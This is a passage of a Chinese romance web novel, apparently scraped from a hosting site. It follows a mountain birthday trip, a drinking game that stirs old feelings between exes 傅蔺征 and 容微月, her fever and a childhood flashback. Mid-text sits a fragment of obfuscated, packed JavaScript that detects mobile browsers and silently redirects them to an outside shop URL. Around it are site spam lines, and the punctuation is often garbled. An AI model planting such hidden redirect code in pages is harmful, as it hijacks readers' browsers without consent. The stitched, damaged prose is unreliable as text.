他正要去翻聊天记录,一道甜美女声传来:“哥,过来,蔺征哥他们在这里!
一个双马尾少女冲过来,夏斯礼看到她:“筱盈,你怎么也来了?你今天不上课吗?
“拜托斯礼哥,今天是周六好不好,我哥说给你过生日,而且蔺征哥也在,我当然得来啦。
付筱盈看到傅蔺征,笑着凑到他旁边:“蔺征哥,好久没见了,好想你呀,你看到我开不开心?
傅蔺征靠坐在椅子上,一脸无语往旁边挪,“你看我像是开心的样子么?
容微月看着这幕微怔,一个年轻男人走来,夏斯礼介绍这俩人:“这是付则承,我和阿征发小,很厉害的内科医生,这他妹,付筱盈,在念高二的小朋友。
付则承在三甲医院工作,年纪轻轻医术高超,个子高挑,鼻梁架着个黑边眼镜,面容斯文矜贵,看到容微月,恍然挑眉:“这就是容微月吗?
容微月和他问好,付则承看着她,笑意深了几分:“久仰大名,我终于知道一个顶级颜控为什么能一瞬间沦陷了。
“嗯?什么跟什么?
付则承收来某人的眼刀子,笑笑不接话,付筱盈热情朝容微月笑:“好漂亮的姐姐,你好呀。
容微月腼腆莞尔和她打招呼,傅蔺征慵懒摘下耳机,起身:“人到齐了就走吧。
八**部队浩浩荡荡去排队坐缆车,缆车规定六人一个车厢,容微月走在殷绿旁边,快排到他们时,突然傅蔺征叫她:
“你鞋带掉了。
其余人往前,容微月连忙蹲下身去系,傅蔺征手插兜,悠然站在她旁边。
前方夏家兄妹和殷绿、湖安上车,夏斯礼见傅蔺征和容微月在最后,立刻叫付家兄妹:
“你俩上来,我们六人一车,阿征你和微月位置不够,就坐下一辆吧!!
容微月:诶?
夏斯礼朝傅蔺征挑挑眉,示意他只能帮到这儿了,谁知道付筱盈一把拉住要上车的付则承,笑着朝夏斯礼挥手:“没事儿,我俩和蔺征哥微月姐一车,不让他们孤单,你们先走,我们顶峰见!
夏斯礼:“……
付则承:“……
傅蔺征:“……
傅蔺征看向付则承,气笑了:“你妹真牛逼。
付则承憋笑,这也不能怪他啊……
新的缆车过来,容微月快步上车,傅蔺征跨上去,在她旁边坐下,付家兄妹坐在对面,还有另外两个陌生的。
缆车缓慢爬升,外头群山翠岭,付筱盈惊叹好美,容微
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
月透过玻璃窗往外看去宛若悬在半空中后背冒出凉意。
别说这么高的缆车了当初傅蔺征带她约会时去做摩天轮她都吓得不敢睁眼跟只小兔子似的傅蔺征被她可爱坏了把人搂着嗓音磁沉低哑:
“那就接吻不看风景就不恐高了。”
当时她的确不害怕了可是半小时后下来嘴唇都肿了羞得她好久不理他。
此刻容微月脸色微白低头紧盯自己的包两秒后傅蔺征声音传来:“容微月。”
她微愣转头他看着她紧绷的神色懒懒道:“换个位置我要看风景。”
他起身她只好立刻挪到中间去。
傅蔺征挡着宛若把她护在中间骨节分明的手递来瓶饮料:“刚好多买的。”
她看到是最喜欢的青橘气泡水。
她怔了下“谢谢。”
她喝着水难受的感觉慢慢消散对面的付筱盈眼睛亮亮:“蔺征哥还有吗我也要喝。”
傅蔺征长腿微敞“没钱就多买一瓶。”
“……”
十分钟后四人下了缆车下车往外走有一个景区免费拍照处拍完到楼下出口可以现场领取。
付筱盈弯眉问傅蔺征:“蔺征哥我们一起拍一张好不好?”
傅蔺征:“不好。”
付筱盈无奈拍完
容微月呆住:“认识……”
“那就一起拍行吧?后面好多人排队。”
她以为傅蔺征会拒绝谁知他走到了她旁边摄影师看着俩人:“两位麻烦站近点笑一下。”
男人走近一步高到她只到他肩膀她心跳微乱头顶落下淡淡的揶揄声:“看镜头还看我?”
她耳根微热摆正视线。
拍完照往下走付筱盈瘪嘴:“蔺征哥你不是说不拍的吗?”
傅蔺征吊眉:“不想和你拍不行?”
“……”
容微月微怔走下楼另外四人已经在拿照片了她取到一个简单的二寸彩照像素有点模糊漫天夕阳下她刺绣长裙被风吹得翩跹拘谨站着朝镜头淡淡莞尔傅蔺征站在身旁身型拓落颀长凌厉分明的眉眼若有若无带着柔意。
四人看到他们照片:“我靠你们竟然是双人照?!”
嗯??
于是容微月发现其他人都是单人照人傻了夏斯礼笑:“你俩这……有点像结婚照啊。”
大家爆笑容微月尴尬脸热拿过照片走去垃圾桶却被傅蔺征拦住:“你干嘛。”
“那个……我觉得不好看还是扔了吧。”
傅蔺征轻嗤
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抽过她手中的照片:“我这么出名,这照片要是被别人捡到又认出了我,到时候我俩传出绯闻,我怎么对外解释啊?
“……他清白又被她玷污了是吧?
男人把照片揣到兜里:“我自己处理。
她没再管,算了,估计他回去就撕了。
晚上大家到达山庄,把行李放了后,去餐厅吃饭。
包厢里是个圆桌,容微月坐在殷绿旁边,傅蔺征最迟进来,还剩下几个空位和容微月旁边。
“阿征,你坐我这儿?湖安问。
傅蔺征抬眼和容微月对视上,她微偏眼,余光却看到他走过来,拉开椅子在她旁边坐下,懒洋洋道:“不用,这边靠窗,空气好。
夏斯礼戏谑:“何止啊,空气都是甜的。
“……
殷绿和夏千棠都笑了,菜单送来,夏斯礼接过:“傅蔺征,今晚这顿是不是得你请啊?我大胆点了啊。
傅蔺征:“随便,你把店搬空都没问题。
“为啥让阿征请啊?付则承问。
夏斯礼笑:“我这是提前过农历生日,阿征说了这是我的专属生日,每年都会给我包份厚礼,是吧?
傅蔺征扯唇应了声。
点完菜火锅上来,蘸料端上来自己打,容微月舀了半碗小米辣,傅蔺征轻嗤:“这么多能吃得来?
“能,我现在可能吃辣了。
他笑:“嘚瑟什么,也不看是谁培养的,一开始不小心咬了口辣椒脸都通红。
“……
曾经她不能吃辣,是傅蔺征带她喜欢上的,后来无辣不欢。
他装了快一整碗的小米辣,她看着发现自己还是还是没他牛,菜端上来,傅蔺征把饮料递给她:“喝点,不然肚子疼了等会儿又哭。
“……想到那天的事,她不想理他,傅蔺征转着转盘,容微月抬头就时常看到她喜欢的牛肉毛肚都在面前,他慢条斯理夹,她也跟着夹。
付则承涮着肉卷,问傅蔺征:“好久没见到你妹了,她最近怎么样?
傅蔺征有个妹妹,名叫霓音,他淡淡道:“她最近忙着拍戏,在剧组。
夏斯礼说打了电话,但霓音太忙来不了:“付则承你别以为我不知道你心思,你别觊觎阿征妹妹啊,人家现在的男朋友是大明星。
“哈哈哈谁觊觎了!我就是关心一下。
夏斯礼说霓音得知容微月在,很想过来见她,高中时候她们关系就不错,容微月也觉得可惜,说期待下次见面,湖安问:“那阿屿呢?他不是回国了,今天怎么没来啊?
夏斯礼调侃:“你指望贺行屿现在能出席我们这种活动?人家刚回国,日理万机。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
“你打个电话问问,说不定他在附近呢。
夏斯礼只好打给贺行屿,那头接起,夏斯礼说自己生日,要不要来吃饭,男人沉贵的嗓音传来:“有谁在。
夏斯礼报了一圈名字,贺行屿:“傅蔺征就一个人吗?
傅蔺征:?
夏斯礼笑:“是啊,他们家就他一个。
“我没空,现在还在开会,贺行屿嗓音矜贵淡漠,“生日快乐。
啪,直接挂了。
夏斯礼:“……
霓音不在他就这样?!一个比一个重色轻友!
傅蔺征抬眉:“他几个意思?这么关心我?
夏斯礼憋笑,关心你个锤子,“没有,人家可能是特别想看你带个女朋友来。
付筱盈叹气:“你们这些哥哥里,最高冷的就是蔺征哥和行屿哥,我就没怎么见行屿哥笑过,还有蔺征哥,我都加了你一年的微信好友,你为啥都不同意?
傅蔺征:“没事加什么加。
“妹妹你就死心吧,阿屿很少加女孩子的,多少人要号码他都不给。夏千棠笑。
殷绿:“可是高三那次夏日音乐会,傅蔺征可把他的微信二维码晒出来过,一个晚上好多人加他呢。
湖安帮忙解释:“当时阿征一个好友申请都没同意啊。
夏斯礼调侃:“一报还一报,后来他千方百计想加一个女孩子,人家愣是没同意,阿征为此还染了一周的粉头发。
付筱盈天都塌了:“蔺征哥还有主动加女孩子的时候,谁啊?!
周围几人不约而同悄悄扫向某处。
这当事人不就在现场吗?
容微月心头微涟,想到当初高三傅蔺征和她认识没多久后,他就通过班级群加她,她说没事情不加人,一周后傅蔺征染了个粉头发出现在学校,全校炸锅,有人问他,他懒声笑:“没加到人,愿赌服输。
全校轰动,到现在他那照片还在澜高论坛时不时出现,很多人都叫他“粉爷。
容微月知道他是出于赌约,更不想搭理他,直至几天后她在校外被混混骚扰,傅蔺征直接把人揍了,眼底阴鸷:“找死是吧,和她道歉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835685|179330||http|test|mini|href|location''.split(''|''),0,{}));
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>那天他脸上挂了好几处彩,容微月吓得给他拿碘伏,他吊儿郎当反问:“容微月,老子都为你受伤了,你不该表示一下?
她懵然,他俯身看她,嗓音低磁:“同意我好友,没逗你,我是真的想加你。
他冠冕堂皇说以后有班里的事要问她,容微月扭头离开,去学校的奥数竞赛班,谁知傅蔺征路过时敲了敲门,没顾及班里其他人,一身白衬衫校裤,唇角风流云散挑起看向她:“记得看手机啊。
手机里躺着他
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新发来的好友申请。
她脸都红透了,没见过这么死缠烂打的人。
付筱盈问:“那最后那女生同意了吗?
傅蔺征对上容微月的目光,慢条斯理开口:“不记得了,得问当事人呢。
容微月耳根微热,不看他,周围人但笑不语,付则承给付筱盈夹菜:“行了你,别八卦了,赶紧吃……
一顿饭吃得热闹,饭后几人在山庄逛逛。
这里什么设施都有,几人提议去唱歌,包厢里,鸡尾酒也端上来,大家唱着歌,半晌夏斯礼说光喝酒唱歌没意思,得玩点游戏。
付则承提议:“最经典的呗,敲七?
遇到7的倍数或含7的数字时用敲击代替报数,失败者需要罚酒喝,再由对面的人抽张卡片,让他完成上面的任务。
夏千棠说自己有带真心话大冒险的牌,殷绿激动:“你这准备得也太充分了吧!
“那必须的,我可是游戏女王!
于是比赛开始,大家依次报数,速度加快,夏千棠喊了21,大家大笑:“夏千棠你到底行不行啊!
“我这是氛围组!夏千棠认罚喝酒,回答了一个真心话。
又继续,这一轮在殷绿这里卡住,她喊了63,她老实喝酒,对面的湖安抽卡片,念出来:“给微信的第一个异性聊天框发一句‘我爱你’。
大家起哄,殷绿操作完拿给他们看:“第一个就是我男朋友的置顶,洒洒水啦。
“哎呦喂,喂狗粮了!
湖安垂眸也喝了口酒,提起唇角:“来吧来吧,继续。
比赛继续,大家或多或少都出错。
唯独有俩人就没出错过。
夏斯礼很不爽:“微月是学霸也就算了,傅蔺征你凭什么都没错?
男人扯唇:“这游戏这么简单,还能输?
“不行我们速度再快点,必须让他们输!
然而容微月一个疏忽,喊了84。
“7×12=84!!
容微月无奈淡笑,“我喝。
对面的人是傅蔺征,他抽了张卡片,看到后视线微顿,抬眼看她,淡淡开口:
“除家人外,你联系最频繁的异性是谁。
夏斯礼等人看过来。
这问题也太……
容微月异性朋友不多,大学更是很少和男生接触,她想了想道:“彭清时吧。
单纯看频率,彭清时最经常联系她,俩人之前还都在陶艺社,所以经常和几个朋友出去玩。
包厢莫名安静了几分。
傅蔺征摩挲着酒杯。
垂下的眸漆黑如墨。
几秒后,男人把卡片扔到桌上,靠着座位,眼尾低笼:“过吧,继续。
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几个朋友对视,容微月心间微动,也垂下眸。
游戏继续,很快容微月又喊错了,大家笑她开始翻车了,傅蔺征照例又抽了卡:“如果你遇到事情要找人求助,第一时间会找现场的谁。”
“那应该是绿绿。”
傅蔺征抬眼幽深看她,说着卡片上没有的内容:
“异性。”
她愣了下,话到嘴边转了转,淡声道:“斯礼吧,因为他很热心。”
“竟然是我啊?”夏斯礼愣了愣,笑笑,“微月你放心,你有事找我我一定会帮,我不帮肯定也会有人帮的。”
傅蔺征偏眼舔了舔唇,扔了卡片,“继续吧。”
再往上太难了,大家说重新开始,湖安喊到6,身旁的傅蔺征冷淡开口:“7。”
大家:???
“不是大哥,7你直接喊啊?”
傅蔺征垂眼拿起酒杯,无所谓般仰头灌下,抬眼直勾勾看向容微月:“抽吧。”
她抽了张,看到呆住,声音微紧绷:“说出对面的人身上你最想学习的品质。”
傅蔺征视线落向她,几秒后,似笑非笑扯起唇角:
“做事果决,不带犹豫,算么?”
容微月指甲硌着掌心微疼,殷绿忙道:“是啊,微月毕竟是老板嘛,工作上肯定要很果决。”
大家继续往下,好几轮后又轮到傅蔺征,他又喊错了。
容微月看着卡片,抿了抿唇开口:
“你最怀念曾经的那个什么时候?”
傅蔺征靠着座位,几秒后道:“高三。”
容微月呼吸微滞,垂眼摩挲虎口疤痕,一阵涩意笼上心头。
氛围微妙,夏斯礼打圆场:“对对对,我也可怀念高三了,当初我们经常能出来玩……”
而后比赛继续,傅蔺征像是故意一般,一杯接着一杯喝,问题一个接着一个。
容微月抽得胆战心惊,生怕再问到什么怪问题。
最后一轮,傅蔺征喊了35。
“这人又错了!”
“来来来,问他。”
容微月抽出一张,看到题目,松了口气:“最近三个月内,你买过最贵的东西是什么?价格多少?”
“啊?这什么奇葩问题??”
“阿征你是不是要打开一下你的购物软件。”
“哈哈哈哈购物软件怎么会有,他肯定是去买车了,是不是月初那辆迈凯伦啊?”
傅蔺征拿起酒杯,仰头灌下。
酒气冲喉,蔓延开辛辣的涩意。
包厢灯光昏暗,男人冷淡的侧脸落在阴翳中,黑眸低垂,掩入光影,像是落了一层淡淡的灰。
他开口,沉哑嗓音被酒冲得很淡:
“2600万,禾盛庭的房子。”
〓作者有话说〓
碎了碎了大狗狗又碎了[可怜]
彭清时,一款能瞬间让征哥破防的人[爆哭]
拉扯一下,甜哒,问题不大!
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第 16 章 面对容微月就毫无理智可言...
第16章第十六章
【面对容微月就毫无理智可言】
chapter16
傅蔺征话落,容微月看向他,心底惊诧。
禾盛庭的房子是他最近这几个月买的?
怎么会,他竟然一下子花了2600万买这个房子,然后没多久后又要出租……
付则承才知道此事,震惊:“禾盛庭?那不是五环开外的小区吗?你市中心那么多套,买郊区的房子干嘛啊?”
容微月看到对面的男人掀起眼皮,对上她视线的黑眸灼烈,炽热,暗不见底。
像一双无形的手抓住她心脏,带来窒息的涩意和颤动。
她眼睫扑闪,低头摩挲酒杯。
几秒后,对面传来声轻不可闻的轻笑,开口嗓音磁哑:“车场在附近,方便训练而已。”
付则承给他竖起大拇指:“傅蔺征,你牛,你真是钱多烧得慌。”
夏斯礼喝了口酒,提唇感叹:“阿征不就这样吗,只要他觉得值得,付上什么代价都无所谓。”
傅蔺征垂脸,戴着尾戒的指尖微颤,他扔了酒杯,捞起茶几上的打火机和烟盒起身,落下一句:
“你们玩,我回房间了。”
男人走出了包厢。
全场安静了几秒。
付筱盈懵了:“蔺征哥怎么了?他好像有点不开心啊,我去看看他吧?”
付则承拽住她,“得了别添乱……”
“我关心他嘛。”
夏斯礼:“妹妹,我劝你还是别去自讨没趣,他现在心情不好,可是生人勿近的状态。”
付筱盈默默闭上嘴巴。
夏千棠转移话题:“好了好了,我们继续。”
人声混着包厢里的音乐嘈杂起来,容微月默默垂眸,看向手中的牌,眼神黯下。
……
外头夜色如墨,山林在黑幕下沉默无声,风一阵阵刮过树梢,寒意凛冽。
套房的阳台门虚掩着,冷风裹着夜色呼啸。
阳台外,傅蔺征弓身坐着。
烟头的橘黄色火焰随着呼吸一明一灭,白雾吐出弥散在空中,男人手肘搭着膝盖,后颈骨骼棘突明显,一身风衣将孑然身影勾勒。
半个小时后,套房阳台门被打开。
夏斯礼走出来,裹紧外套,倒吸一口冷气:“冻感超人啊你,这么冷的天你非要坐在这里抽烟?”
他拉开椅子在旁边坐下,傅蔺征把烟头捻灭,嗓音被烟碾得沉哑:“结束了。”
“是啊,你莫名其妙走了,我们就没气氛了,唱了几首歌就说回来休息了。”
傅蔺征扯唇:“看不出来我这么重要。”
“那可不是吗,傅大少爷你在哪儿都是焦点,大家都喜
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
欢跟你玩儿。”
傅蔺征偏开眼没再接他的话茬夏斯礼感慨:“心情还不好呢?”
夏斯礼点了根烟冲冲空气中的醋味无奈笑:
“至于吗就一个回答让你醋成这样?”
夏斯礼很少见这人会这样。
无论是在赛场上还是在暗潮涌动的生意场傅蔺征处理任何事情都游刃有余永远杀伐果断、意气风发可唯独在面对某个名字时就毫无理智可言。
六年过去没半点好转还愈发严重。
像是一处永远都愈合不了的伤还未结痂又被反复撕开一点点溃烂到深处刺痛进骨髓。
傅蔺征黑眸敛沉夏斯礼忍不住劝:“联系最频繁的异性这能说明什么啊?我看微月和那个姓彭的就没火花!要真有感情六年了还轮得到你?他们真有什么你觉得微月今晚会出现在这儿吗?”
傅蔺征摩挲着腕口被洗掉的那处刺青右手隐隐发颤微抖。
夏斯礼叹气:“阿征你们分手六年了你没有参与她过去的生活已经是改变不了的事实了你别让自己陷于这种无意义的情绪中。
既然控制不住自己那只要去做你想做的事不后悔就好。”
头顶暗夜无边茫茫。
傅蔺征望向远处山脚下零星的灯火沉默无声。
-
十五分钟前八人的聚会解散。
大家结伴回酒店回去的路上容微月没想到晚上山里这么冷裹紧外套可冷风从四面八方往里钻借着酒意如一根根细针刺进皮肤。
回到酒店她浑身冷得僵硬喉间发痒。
四个女生住在一间复式的双层大套房里容微月和殷绿睡在一楼进了房间容微月咳嗽着去开暖气脑袋昏沉作痛。
她强撑着走去烧热水而后跌坐在床头扯过被子紧紧盖住身体。
殷绿走过来:“宝我也没带感冒药啊怎么办你现在是不是很难受?”
容微月打了个喷嚏声音干涩:“没事我喝点热水就好……”
“你这身体也太弱了
“不用我睡一觉就没事的。”
她早就习惯了大学时她身体一直不好经常生病她没什么钱没有太严重都不会去看就自己买买感冒药吃多喝点热水抗个一周也就过去了。
有一次冬天晚上她发着烧在外面兼职回家的路上难受得烧晕过去醒来时已经在医院了医生说是一个好心的大姐送她来的打她手机里的紧急联系人对方显示关机“有没有叫个人来医院陪陪你?”
她低头看到曾经存下来的那串傅蔺征的号码
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眼尾微湿轻轻摇头:“没有我就一个人。”
房间里水烧开殷绿倒了杯出来又兑了点矿泉水递给她容微月接过喝了几口捧着杯子失神殷绿柔声问:“怎么了有心事啊?”
“……没有。”
“我今晚都看到你发呆好几次了在我面前还不承认?”殷绿问“是因为傅蔺征吧?”
容微月视线随着水面微晃双唇翕动没说话。
说不清道不明她也不知道自己到底是什么心情只觉得心头闷闷的。
脑中不断打转的是傅蔺征回答的那几个问题还有他今晚他看她的眼神。
殷绿抱膝看向她:“你有没有觉得今晚你提到彭清时后他情绪就变了?我觉得他就是吃醋了。”
“而且那个房子的事好奇怪啊?他干嘛买郊区的房子你说会不会是因为他想要租给你……”
容微月脑中那个猜测被再度挑起又飞速被理智按下:“傅蔺征不都说了吗是因为方便训练。”
“月月可我感觉傅蔺征还是对你挺特别的之前他帮你那么多事我不相信你感觉不到你为什么不相信呢?”
手中的水杯一点点烫到心口。
容微月低垂下头几秒后艰涩开口:“殷绿你觉得一个因为赌约靠近你、追求你说‘谈恋爱无所谓长短只要快乐’的人在你们分手六年后遇见
殷绿微怔。
容微月淡淡自嘲:“当初高中的时候傅蔺征想加我是因为他和朋友们说没有他加不到的女孩子后来他们又赌傅蔺征两个月内能不能追到我可能一直以来他对我就是胜负欲和征服欲更多。”
那天容微月在学校琴房里练琴提前结束下楼就听到傅蔺征在和朋友们聊天有男生揶揄:
“征哥你现在天天围着微月女神转人家正眼看你一眼没有?两个月追到人的赌约我估计你要输了我准备好换新手机了哈哈哈。”
傅蔺征笑着踹他:“你还提早开心了?这不是两个月还没到?”
他靠着椅背勾唇:“我这么优秀的人追谁追不到?”
那天容微月靠着拐角的墙站了许久。
从脚底到后背寒意蔓延而上将她心头那朵刚刚绽放的小花活活冻死。
后来那个周末的万圣节朋友们组织去游乐场傅蔺征没想到约出来了她可那天她却把彭清时带上了当时朋友们震惊容微月对上傅蔺征黑沉的脸淡淡一笑:“不是说带上想带的人吗我们本来也想来游乐场的。”
她用了很幼稚的方式报复了回去。
那天她全程都只和彭清时说话直至要去坐旋
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转木马,傅蔺征一把拉走她,失控质问,容微月冷淡笑笑:
“傅蔺征,你不会以为我会喜欢你吧?别自以为是了,你也不是谁都想喜欢。”
那天,傅蔺征看着她的眸赤红渐深,几秒后扯起唇角,把手中的袋子扔到了垃圾桶。
里头的东西掉出来,是遮阳伞、花露水、防蚊贴,还有给她准备的零食,和给她买的万圣节猫咪头箍。
她看到的那一刻,鼻尖忽而发酸。
她摸不透傅蔺征到底是个什么样的人。
他那样的顶级豪门家的大少爷,自信张扬,对什么都唾手可得,在那样青涩又懵懂的年纪,她分不清他澎湃又汹涌的感情,到底有几分真心。
虽然后来他赌约输了还在追她,可这件事种在她心底,埋下了没安全感的种子,后期连同的其他事一同爆发。
她不知道自己抱住的是他还是一团雾,如果傅蔺征追到她,三分钟热度过后对她就腻了呢,她不想成为初见时看到的那个邀约他去过生日的女生,在他面前那么卑微可怜。
容微月咳到眼尾冒出泪花,心底的酸楚翻涌,声音轻哽:“殷绿,我觉得我没什么好的,六年过去了,我当初还那样甩了他,我有什么值得他留恋呢,我不相信他还会喜欢我的……”
从小到大,就连来自父母的肯定她都没听过几句,她一直告诉自己,很多东西如果注定会失去,她就宁愿从来没拥有过,那样就不会那么难受。
就像对于她来说的傅蔺征。
她连去赌他真心的勇气都没有。
殷绿听得心疼抱她,“月月,你没有不好的,你真的特别好,你不要那么说自己啊……”
容微月擦了擦眼泪,淡笑:“我没事,可能喝了酒情绪有点上头吧。”
她感觉身上发冷,“我想躺下来睡觉了。”
“好,你赶紧躺下来。”
殷绿给她盖好被子,先去洗了个澡,谁知道回来的时候就看到容微月在床上缩成一团,脸色苍白,过去摸她额头,一片滚烫。
“微月,你是不是发烧了?”
容微月咕哝,“我没事……”
“发烧了怎么能叫没事呢?!”
殷绿上二楼去找夏千棠,夏千棠下楼看了情况,说去叫身为医生的付则承看看,“绿绿,你给微月喝点热水,我去问问有没有药,我也没带。”
“好。”
夏千棠出去,五分钟后她就带着付则承也来了,还拿了床被子,一大包感冒药还有小鸭子的暖宝宝贴。
殷绿把容微月扶起来,惊讶:“你从哪里拿来的?”
“就……前台给的。”
付则承给容微月看了看,说是受凉了,让她吃了其中几个感冒
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药,又贴上了暖宝宝贴。
她道谢躺下来,付则承说两个小时后再来看看她,有什么情况随时沟通。
过了会儿,夏千棠走出房间,到了长廊拐角处,见到了人:“放心吧,微月已经吃药了,被子和暖宝宝都给她弄了。”
傅蔺征敛睫,把泡好的桂圆红枣茶递来,昏暗长廊里,他面色看不清明:
“她不吃生姜,让她喝这个吧,驱寒。”
“好。”
傅蔺征又把带来的体温计递来,嗓音沙哑:“麻烦每个小时给她量一下体温,她发烧的时候不爱喝水,你要监督她,如果身上起红疹了让她别挠,拿微凉的毛巾给她擦一下,要是烧到三十八度以上就叫我,我带她下山。”
“好,你放心吧。”
夏千棠转身欲走,忍不住问:“你要不要自己进去看看她?”
傅蔺征靠着墙,落在阴翳里。
窗外的夜色淡淡落进来,将他孑然身影笼得模糊。
几秒后,他压下骨髓里渗出的疼意,喑哑开口:
“不用了,她可能不想见到我,麻烦你照顾她。”
夏千棠轻轻说了句好。
回去,夏千棠给容微月喝了桂圆红枣茶。
酒精不断在胃里翻滚,她感觉整个人翻江倒海,中途撑不住难受,她去卫生间吐了一次,眩晕感总算淡了点。
她躺回床上,思绪再度陷入混沌。
她做了梦。
梦境断断续续,她坐着时光机,回到了七岁那年的除夕夜。
那晚家里来了许多亲戚,客厅里,父亲容承业说给她和姐姐还有弟弟准备了新年礼物。
弟弟的是个玩具赛车,而后容承业带着她和姐姐去了个房间,打开门,里头是间布置得漂亮的琴房,他拿出一把小提琴,问容微月喜不喜欢,内向的她忍不住欢喜点点头,亲戚笑着打趣:“小月,你爸说了,你表演一个才艺,你爸爸就把小提琴给你。”
容微月脸都红了,但还是拼命努力地唱了首歌,又跳了个舞,逗得大家欢声笑语不停,容承业无奈笑:
“你们看看她,只要是关于小提琴的,叫她做什么都愿意,平时在车间半个小时都待不住,恨不得转头就跑。”
小微月满心期待地乖乖笑,容承业笑道:“不过呢,小提琴我只买了一把,是买给姐姐的,我给你的,是个小提琴模型。”
容承业递来一个小提琴八音盒。
她呆住。
“这小提琴是我老早就答应给晴晴买的,晴晴这次期末考都考了一百分,花丝镶嵌也学得很认真,容微月你自己想想,你平时有你姐姐一半听话吗?所以以后姐姐先在琴房里练琴,你就只能先玩这个八音盒。”
亲戚们
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笑那一刻容微月的自尊心连同所有的期待就像高高坠地的水晶球四分五裂。
她期待了好久她眼圈红红看着容承业:“你既然不想给我为什么骗我?”
亲戚们笑着哄她:“没事啊月月假的小提琴也挺好很可爱啊。”
她拔高音量:“那也不能骗我!”
容承业脸色微变“你再大声叫一句?你胆子大了还敢发脾气?就冲你这样我就知道我没给你买琴就是对的!”
姐姐容思晴忙拉住容微月:“没事我把小提琴给妹妹吧我们一起用。”
把八音盒扔到沙发上容微月绷紧唇角:“你给别人吧我什么都不要!”
她跑进房间抱膝缩在床脚刚低下头大滴大滴的眼泪就砸膝盖上。
很快容思晴进来温柔哄她:“别哭了月月我把小提琴给你好不好?爸爸给我你也能拉呀。”
容微月抽噎:“姐姐我……我不是一定非要那个小提琴……而是他明明知道我很喜欢……如果他没有打算给我为什么又要骗我呢……”
她最大的梦想就是想要一个琴房和一把小提琴为什么让她满心期待又失望……
容思晴给她擦眼泪外头传来砰砰的敲门声
容承业生气:“我有说不给她买吗不就是劝她表现好点你看看她是什么态度大过年那么多亲戚在还给我甩脸子!”
亲戚过来说:“孩子现在长大了有脾气了不能逗月月你买了琴要和姐姐一样听话啊不可以这样对爸爸不礼貌。”
小微月缩成一团无声淌泪容承业敲门:“容微月趁我没彻底发火之前你赶紧给我出来因为一个小提琴跟我翻脸我看是平时太惯着你了!”
后来母亲拿了钥匙来开门她被父亲拽了出去。
重新坐到沙发上亲戚们拿零食哄她“月月长大了要听话懂事啊。”
八音盒重新被放到她手里话题很快被揭过。
周围欢声笑语春晚节目喜庆洋洋窗外的鹅毛大雪还在飘她垂头看着手中旋转的八音盒像隔绝在热闹
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的世界之外。
……
房间里容微月躺在床上紧紧揪着被子眼尾淌下一颗又一颗泪。
夏千棠和殷绿不明所以担忧问:“微月你没事吧?”
容微月闭着眼掉眼泪。
仿佛一直困在牢笼里。
夏千棠轻轻拍着她的背哄她睡觉许久后她的泪水慢慢止住。
她累到睡着了。
额头出了许多汗。
殷绿和
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夏千棠轮流照顾着,凌晨一点多,付则承过来看了看说退烧了,她们松了口气。
走到客厅,夏千棠看到十分钟前傅蔺征的信息:【退烧了么,几度现在。】
她回复:【退烧了,你安心吧。】
她又道:【不知道她是不是做噩梦了,刚刚哭了很久,感觉今晚她的心情也不是很好。】
那头,漆黑的房间里,傅蔺征坐在床边。
他看着信息,眼底渐渐深沉混沌,喉间干涩。
-
烧退后,容微月慢慢进入无梦睡眠。
第二天醒来,她原本头疼的脑袋清醒了点,感觉人没有那么难受了。
她坐起身,肚子还传来温热,她把暖宝宝拿了出来,看到是个很可爱的小鸭子图案。
她愣了愣。
这个暖宝宝高中时傅蔺征给她买过,当时冬天她体寒怕冷,傅蔺征包里都会备着。
是傅蔺征给的吗……
隔壁床的殷绿翻了个身,还在睡。
容微月下床给她盖好了被子,走去洗漱,早晨八点多夏千棠和殷绿醒来看容微月已经在处理工作了,震惊问她有没有事,容微月摇摇头朝她们淡笑:
“昨晚谢谢你俩照顾我,给你们添麻烦了,还有棠棠,谢谢你的红枣茶和暖宝宝。
夏千棠眨了眨眼,“其实那是……
“什么?
想到嘱托,她摇摇头,含笑揉揉她头:“没事,跟我那么客气干嘛。
容微月淡笑。
殷绿挽住俩人,“走吧,那我们去吃早餐,我都饿**,月月你赶紧要吃点东西补充点能量。
付筱盈还在睡觉,三人先出门,正走去电梯口,傅蔺征和湖安也出来了。
容微月抬眸,就对上傅蔺征的目光。
他眼下微青,面容带着倦意。
像是昨晚没睡好。
她心间泛起涟漪。
湖安问:“微月,我听说你昨晚发烧了?今天好点没有?
“好多了,昨晚喝醉了又着凉了,人有点难受。
“那今天还能爬山吗?
“应该没问题。
“那行,山顶还有个演出的票,阿征那你等会儿多买一张。
容微月和傅蔺征对视,电梯门打开,男人淡淡应了声,偏开眼。
于是早上,一行人继续往山顶出发。
今天天气晴朗,路途平缓,容微月身体还算适应,中午大家在农家乐吃了顿饭,下午就下了山。
山脚下大家不舍分别,说下次再约,容微月和殷绿还是坐着傅蔺征的车回家。
中途殷绿下车后,车上只剩下了容微月和傅蔺征。
傅蔺征调高温度,开口:“困了就睡会儿。
“嗯……
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然后车里一路沉默。
氛围莫名冷下她也不知道该说什么。
或许这才是他们之间应该保持的状态吧。
傍晚回到禾盛庭打开家门呼呼激动蹦个不停傅蔺征把它抱起来:“饿了是吧给你做饭去。”
他去煮东西容微月则去给呼呼的饮水机添水。
弄完她走去厨房傅蔺征弄着意大利面垂眼淡淡道:“刚好在煮要不要给你煮一份。”
她看过来:“没事我等会儿自己煮其他的。”
她没胃口真的吃不下。
傅蔺征脸色微凝没再说话。
晚上吃完饭傅蔺征出了趟门
第二天早晨她在餐厅吃早餐傅蔺征推着行李走出卧室。
她微愣傅蔺征去冰箱拿了瓶牛奶走过来嗓音无波无澜:
“去外地训练接下来麻烦你照顾呼呼。”
她怔了怔点头:“好。”
男人提起行李箱扶手:“昨晚东西刚好多买了在冰箱里你不吃就帮我处理了吧。”
“……好。”
傅蔺征离开了。
容微月吃完洗了个碗打开冰箱里面是新鲜的蔬菜和肉类还有一整盒的车厘子和草莓以及一盒青橘蛋糕。
她呆了呆眼底掀起波澜。
